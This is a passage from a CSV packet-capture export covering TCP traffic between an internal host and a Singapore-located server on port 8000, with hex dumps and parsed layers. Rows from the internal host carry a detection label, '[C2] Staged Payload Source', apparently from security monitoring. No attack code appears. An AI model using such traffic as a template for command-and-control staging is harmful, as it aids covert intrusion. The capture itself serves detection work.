\"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:27.542327,70,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e23c400040064db7c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.<@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57916, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19895, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:28.557986,71,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb440008006404a0a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44980, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16458, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:28.558020,72,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e23d400040064db6c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.=@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57917, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19894, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:29.573593,73,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb54000800640490a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44981, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16457, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:29.573623,74,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e23e400040064db5c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.>@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57918, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19893, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:30.573611,75,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb64000800640480a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44982, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16456, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:30.573633,76,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e23f400040064db4c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.?@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57919, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19892, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:31.573695,77,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb74000800640470a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44983, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16455, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:31.573731,78,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e240400040064db3c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.@@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57920, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19891, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:32.434951,79,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682767 Ack=3104847480,bc24112907bbbc2411360d0c08004500003dafb84000800640320a98980bc0a3a789fa201f40542491cfb910367850182014305400001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 44984, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16434, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682767, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12372, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:05:32.434975,80,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000028e241400040064dbec0a3a7890a98980b1f40fa20b9103678542491e45010003f0aeb0000,\".$.6\n..$.)....E..(.A@.@.M.....\n....@. ..6xT$..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57921, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19902, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:33.448723,81,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afb94000800640450a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44985, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16453, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:33.448752,82,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e242400040064db1c0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.B@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57922, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19889, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:34.464377,83,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afba4000800640440a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44986, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16452, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:34.464413,84,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e243400040064db0c0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.C@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57923, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19888, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:35.480030,85,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afbb4000800640430a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44987, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16451, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:35.480051,86,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e244400040064dafc0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.D@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57924, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19887, \"\"src\"\": 